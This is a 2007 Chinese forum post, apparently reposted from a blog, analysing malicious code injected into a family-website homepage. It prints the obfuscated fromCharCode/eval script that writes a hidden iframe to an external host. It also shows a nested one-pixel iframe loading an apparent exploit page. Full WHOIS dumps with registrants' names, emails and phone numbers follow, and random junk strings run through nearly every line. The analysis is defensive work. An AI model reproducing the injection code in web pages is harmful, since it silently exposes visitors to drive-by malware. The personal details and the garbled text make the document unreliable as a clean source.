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[原创]一篇刚写的分析木马手记

卫
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首发在我的博客里面, ex)U'.^  
~}s0~j~  
http://www.areway.cn/?p=175 B{lL}"++0  
$>=w<=r|;  
zWf(zxGAz  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: 9v76A~~  
          mH!\]fmR~  
<script>t=’60,105,102,114,97,109,101, )|<g\>/  
32,115,114,99,61,104,116,116,112,58,47,47, 10$:^  
102,114,101,101,46,117,45,117,117,117,46,99, KL8WT6!RZ  
110,47,101,114,114,111,114,46,104,116,109, YtY.,H;  
32,119,105,100,116,104,61,49,48,48,32,104, W29GM -,K  
101,105,103,104,116,61,48,62,60,47,105,102, @D@'S:3  
114,97,109,101,62′; 2w /qH4  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> c/`Rv{ *'o  
                                                                                                  mv1|oFVW  
<script>t=’60,105,102,114,97,109,101,32,115, Cj# ?Z7}z  
114,99,61,104,116,116,112,58,47,47,102,114, P:c 'W?  
101,101,46,117,45,117,117,117,46,99,110,47, @{x+ln1r  
101,114,114,111,114,46,104,116,109,32,119, ;Yn_*M/*  
105,100,116,104,61,49,48,48,32,104,101,105, P !~B07y  
103,104,116,61,48,62,60,47,105,102,114,97, jQ5FvuNOy  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); #5_pE1  
document.write(t);</script> mJS-x-@  
                                                                                                  [,q^\T  
<html xmlns=” %YI!{  
http://www.w3.org/1999/xhtml hVu~[ 'Me  
“> u 9%AK g}~  
<head> &Ef6'  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> |~YhN'OJ  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 6G>bZ+  
<title>首页 - 爱生活家庭网 Tg6nb7@P  
                                                                                                                                                    juBzpQYj  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 vz'<i. Yv4  
转换字符串后的大概内容是(谁点击后果自付): L'}^Av_+  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… mW @Z1Plxs  
                                                                                                                                  rcG-V f@  
查询玉米u-uuu.cn的详细信息: [300F=R  
Domain Name: u-uuu.cn 9XW[NY#)#  
ROID: 20070901s10001s64972306-cn fFd"21 >  
Domain Status: ok a|@1RH>7H  
Registrant Organization: 王雷 LrnE6 U9  
Registrant Name: 王雷 D}EH9d  
Administrative Email: czlovexs@126.com v{TISgZ  
Sponsoring Registrar: 北京万网志成科技有限公司 o@:u:n+.  
Name Server:ns.yovole.com _tVrLb7`s  
Name Server:ns1.yovole.com ]=m0@JTbG  
Registration Date: 2007-09-01 17:54 +ZeK,Y+Xy  
Expiration Date: 2008-09-01 17:54 5c3&4,,eR  
最后PING了一下地址 都没有什么…. cUZ^,)8 Z  
                                                                                                U%_6'5s{^  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. PoRL35  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> M@O<b-  
<script language=”javascript” src=” T eBJ  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script KS(Ms*k;'  
> Zj2tQ}N  
这个玉米应该有可能是木马作者的: QNCG^ub  
foafau.info的详细信息: v@ OM  
Access to INFO WHOIS information is provided to assist persons in _c6 zzGtH  
determining the contents of a domain name registration record in the =s[P =dU  
Afilias registry database. The data in this record is provided by {$^Lb4O[V  
Afilias Limited for informational purposes only, and Afilias does not /R)(u@jk  
guarantee its accuracy.  This service is intended only for query-based ?[S{kMb2  
access. You agree that you will use this data only for lawful purposes 9/LJ tM  
and that, under no circumstances will you use this data to: (a) allow, g;<_GL  
enable, or otherwise support the transmission by e-mail, telephone, or ut;KphvSH  
facsimile of mass unsolicited, commercial advertising or solicitations PVUNi: h  
to entities other than the data recipient’s own existing customers; or X.<2]V7!  
(b) enable high volume, automated, electronic processes that send ' $X}'u  
queries or data to the systems of Registry Operator, a Registrar, or @)m+b;  
Afilias except as reasonably necessary to register domain names or  Q-Rt  
modify existing registrations. All rights reserved. Afilias reserves )z2hyGX  
the right to modify these terms at any time. By submitting this query, [bJAh ` I  
you agree to abide by this policy. {t&+abY  
Domain ID:D22418703-LRMS p&,2@(Q  
Domain Name:FOAFAU.INFO 3W}xYYs] ^  
Created On:20-Nov-2007 16:05:42 UTC #ui7YUR=2  
Last Updated On:20-Nov-2007 16:05:44 UTC ] e]l08  
Expiration Date:20-Nov-2008 16:05:42 UTC fIcra  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) X P_ V  
Status:CLIENT DELETE PROHIBITED n{r _Xa  
Status:CLIENT RENEW PROHIBITED 0P6< 4  
Status:CLIENT TRANSFER PROHIBITED e+>&? x  
Status:CLIENT UPDATE PROHIBITED &fWYQ'\>  
Status:TRANSFER PROHIBITED OL)M`eVQ'  
Registrant ID:GODA-040110615  p(Bn!  
Registrant Name:liu hong |p{FSS  
Registrant Organization: \.jT"Z~  
Registrant Street1:beijing &li&P5!i  
Registrant Street2: ,c'a+NQ_t  
Registrant Street3: ](H vx  
Registrant City:beijing B%d2tsDw  
Registrant State/Province: R^F\2yth-  
Registrant Postal Code:100000 W L5!H.q  
Registrant Country:CN D^W?~7e ^r  
Registrant Phone:+86.860108888777 Z]I yj 97  
Registrant Phone Ext.: OM 5h>\9  
Registrant FAX: haMt2S2_B:  
Registrant FAX Ext.: JK9}Kb};  
Registrant Email:bbbshiji@163.com YKs^aQm#  
Admin ID:GODA-240110615 :ift{XR'  
Admin Name:liu hong gAgP("  
Admin Organization: Gr?[s'Ze  
Admin Street1:beijing Oy/+uw^  
Admin Street2: H Ql_ /:Wx  
Admin Street3: #s'  
Admin City:beijing ;l6tZ]-"  
Admin State/Province: e'Th[ wJ  
Admin Postal Code:100000 O%(k$ fvM  
Admin Country:CN m]NyEMYg  
Admin Phone:+86.860108888777 l+1GA0'JP  
Admin Phone Ext.: |J#mgA}(  
Admin FAX: d^.fB+)A3  
Admin FAX Ext.: (l3P<[[?  
Admin Email:bbbshiji@163.com sS|N.2*  
Billing ID:GODA-340110615 \aG:l.IM0  
Billing Name:liu hong 4l*4w x""v  
Billing Organization: W8 m*co  
Billing Street1:beijing saaN$tU7  
Billing Street2: 0jN?5j  
Billing Street3: K q0!.455  
Billing City:beijing c 0%%X!!$  
Billing State/Province: W!BIz&SY:-  
Billing Postal Code:100000 JH0L^p   
Billing Country:CN W}U-u{Z  
Billing Phone:+86.860108888777 W+0VrH 0F  
Billing Phone Ext.: e-#!3j!'  
Billing FAX: 7}<05 7Xn'  
Billing FAX Ext.: s$ 2@|;  
Billing Email:bbbshiji@163.com *rk!`n&  
Tech ID:GODA-140110615 Mo2b"A;}|  
Tech Name:liu hong s) vHLf4T  
Tech Organization: 6M`N| %  
Tech Street1:beijing Q+\?gU]  
Tech Street2: D,rs)  
Tech Street3: &L S&O  
Tech City:beijing C%csQ m  
Tech State/Province: -a[] #v9  
Tech Postal Code:100000 v*7lJNN.  
Tech Country:CN ?Q)z5i'g#  
Tech Phone:+86.860108888777 eY1$s mh t  
Tech Phone Ext.: HwH Wi  
Tech FAX: 5/O;&[lYy  
Tech FAX Ext.: ?X.MKNbp  
Tech Email:bbbshiji@163.com bvM a|;f1  
Name Server:NS27.DOMAINCONTROL.COM 3:h9cO/9  
Name Server:NS28.DOMAINCONTROL.COM -B-nTS`  
Name Server: cR1dGNcp/@  
Name Server: yw%5W=<  
Name Server: JL4\%  
Name Server: Ppzd.=E  
Name Server: +89s+4Jn  
Name Server: bt,^-gt@  
Name Server: &ns !\!  
Name Server: 89@e &h*  
Name Server: {g>k-.  
Name Server: })R8VJ&C/  
Name Server: YolO-5  
                                                                                                          -m:i~^ u  
接着下载每个文件里面的代码: d4#Q<!r  
一步一步看.. I9`R L Sn  
Oop;Y^gG}  
KGclo-,  
38%xB<Y  
E Cx_ [|3{  
2>3gC_^go  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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